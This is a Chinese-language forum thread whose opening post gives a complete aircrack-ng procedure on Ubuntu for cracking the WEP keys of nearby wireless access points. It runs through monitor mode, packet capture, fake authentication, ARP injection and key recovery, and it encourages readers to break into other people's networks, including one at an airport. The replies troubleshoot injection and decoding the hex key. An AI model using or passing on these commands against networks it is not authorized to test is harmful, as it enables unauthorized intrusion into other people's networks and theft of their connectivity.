Ubuntu使用aircrack-ng方法

[yus253]

一、安装Ubuntu和aircrack-ng

先安装 Ubuntu ，更新系统到最新
终端中输入 sudo apt-get install aircrack-ng 安装aircrack-ng
没联网的话 到别的电脑上网下载aircrack-ng Ubuntu DEB安装包 安装

下载地址：http://packages.ubuntu.com/zh-cn/jaunty ... g/download

二、破解过程

1、启动无线网卡的监控模式，在终端中输入：sudo airmon-ng start wlan0
（wlan0是无线网卡的端口,可在终端中输入 ifconfig 查看）

2、查看无线AP在终端中输入：
sudo airodump-ng mon0
（特别说明：启动监控模式后无线网的端口现在是 mon0 ！！！）
看看有哪些采用wep加密的AP在线，然后按 ctrl+c 退出，保留终端

3、抓包
另开一个终端，输入：
sudo airodump-ng -c 6 --bssid AP's MAC -w wep mon0
(-c 后面跟着的6是要破解的AP工作频道，--bissid后面跟着的AP's MAC是要欲破解AP的MAC地址，-w后面跟着wep的是抓下来的数据包DATA保存的文件名，具体情况根据步骤2里面的在线AP更改频道和MAC地址，DATA保存的文件名可随便命名）

4、与AP建立虚拟连接
再另开一个终端，输入：
sudo aireplay-ng -1 0 -a AP's MAC -h My MAC mon0
（-h后面跟着的My MAC是自己的无线网卡的MAC地址，命令：
iwlist wlan0 scanning
可查看自己的MAC地址)

5、进行注入
成功建立虚拟连接后输入：
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP's MAC -h My MAC mon0
现在回头看下步骤3的终端是不是DATA在开始飞涨！

6、解密
收集有5000个以上的DATA之后，另开一个终端，输入：
sudo aircrack-ng wep*.cap
进行解密
（如果没算出来的话，继续等，aircrack-ng 会在DATA每增加多5000个之后就自动再运行，直到算出密码为至）

7、收工
破解出密码后在终端中输入 sudo airomon-ng stop mon0 关闭监控模式，不然无线网卡会一直向刚刚的AP进行注入的，用ctrl+c退出或者直接关闭终端都是不行的。现在可以冲浪去了，或者重复步聚1-7破解其它的AP 呵呵兄弟们冲浪时可别太猛了，不然把主人给冲翻了可就不好。

[jmw778s]

好，顶一下

[Stupid kid]

以前也研究过这个，不过效率真不咋滴；破解自己的无线到是很舒服，破解起别人的，那叫一个慢；

不过，改天找个实际那再玩玩这个，有点意思

[coldmoon]

我的5100agn的网卡 建立虚拟连接成功后，注入 但是 data看不到增长 是什么原因呢

[Stupid kid]

我的5100agn的网卡 建立虚拟连接成功后，注入 但是 data看不到增长 是什么原因呢

这个问题好像需要Fake Authentication的，不过楼主贴的太少了，还是推荐到aircrack-ng网站去看看

[yus253]

我也是，没用破解别人的成功过。在网上看到有人在机场就直接破解了机场的wep很方便，想问下大家的状况如何，这个过程是否正确，还有哪些地方需要注意的呢？

[yus253]

我的5100agn的网卡 建立虚拟连接成功后，注入 但是 data看不到增长 是什么原因呢

这个问题好像需要Fake Authentication的，不过楼主贴的太少了，还是推荐到aircrack-ng网站去看看

http://www.aircrack-ng.org/这个？

[maddemon]

最后得到不是明文，请问如何得到明文？

[wxlguitar]

sudo aireplay-ng -1 0 -a AP's MAC -h My MAC mon0
这行代码中 -1 0 参数是什么意思呢？

sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP's MAC -h My MAC mon0
这行代码中 -p 0841 参数是什么意思呢？

[milesjoy]

我得到的Hex是这样的：

代码： 全选

62:88:22:86:00

请问明码是什么？

其中只有62可以转成ASCII码。

[nmsfan]

好坏啊
研究这个

[waterloo2005]

我得到的Hex是这样的：

代码： 全选

62:88:22:86:00

请问明码是什么？

其中只有62可以转成ASCII码。

我也破解得到一个这样的代码， 可是输入后还是连不上。 请问这个代码还需要处理吗？冒号需要去掉吗？谢谢

[xiahongze]

用这个软件破解过wep的，速度很快，不过这种wep的使用率实在是不高。。。

[it5u]

留个脚印，未成功的路过

[isoup]

破解WPA2，时间太惊人了。